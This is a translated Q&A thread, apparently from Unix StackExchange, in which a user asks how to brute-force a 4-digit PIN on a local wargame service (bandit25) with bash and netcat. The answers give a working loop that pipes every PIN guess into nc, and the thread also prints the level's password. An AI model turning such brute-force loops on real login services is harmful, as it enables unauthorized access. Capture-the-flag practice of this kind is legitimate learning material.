Bash

使用 shell 腳本通過暴力破解 4 位密碼

  • October 16, 2020

我正在做一些挑戰。這是其中之一。我正在嘗試使用密碼暴力破解 4 位密碼以獲得我想要的答案。連接到埠後,它提示我輸入密碼,然後輸入空格,然後輸入 4 位密碼。我嘗試使用腳本對 pin 進行暴力破解:

#!/bin/bash 
nc localhost 30002 
sleep 2 

for i in {0000..9999}; 
    if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];                   
    then 
       continue 
    echo '[+] Pincode Cracked! Pincode = $i' 
    fi 
done

但在我嘗試做這樣的事情之前,這似乎沒有將通行證和引腳輸入到標準輸入 - >if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];我在這裡做錯了什麼?

更新:

好的,所以在研究之後。我寫了這個:

for i in {0000..9999}
do
   if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
  then
     sleep 0.1
     continue
  fi
  echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done

這甚至可能會起作用,但正如您所看到的,它會在循環中打開新的連接,這使得它變得非常慢並耗盡系統。

那是因為您沒有告訴您的腳本將任何內容寫入nc’s 的標準輸入。您的腳本啟動 netcat,等待它終止,然後sleep在執行for循環之前 s 兩秒鐘。您可能需要一個構造,例如:

for i in {0000..9999}; do
   : stuff
done | nc localhost 30002

這是一個快速且有效的工作答案:

#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
           echo "$passwd24 $i"
done | nc localhost 30002  | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"

您更新的答案很慢。當填寫錯誤的答案時,連接將繼續存在。就像之前的答案所示,是 for 循環末尾的管道。如果您真的想知道正確的引腳,您可以在 echo that 之前添加一行echo "the correct pass: $1" > /tmp/correctpin.txt。這與接收正確密碼的目的無關。

引用自:https://unix.stackexchange.com/questions/432904